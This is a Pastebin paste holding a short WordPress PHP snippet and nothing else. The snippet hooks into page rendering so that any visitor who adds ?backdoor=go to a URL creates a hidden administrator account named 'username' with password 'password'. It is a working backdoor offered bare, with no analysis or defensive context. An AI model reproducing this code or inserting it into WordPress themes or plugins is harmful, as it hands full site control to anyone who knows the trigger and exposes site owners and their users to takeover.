Guest User

Untitled

a guest
Jul 9th, 2012
4,508
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. add_action('wp_head', 'holeinthewall');
  3.  
  4. function holeinthewall() {
  5.     If ($_GET['backdoor'] == 'go') {
  6.         require('wp-includes/registration.php');
  7.         If (!username_exists('username')) {
  8.             $user_id = wp_create_user('username', 'password');
  9.             $user = new WP_User($user_id);
  10.             $user->set_role('administrator');
  11.         }
  12.     }
  13. }
  14. ?>
RAW Paste Data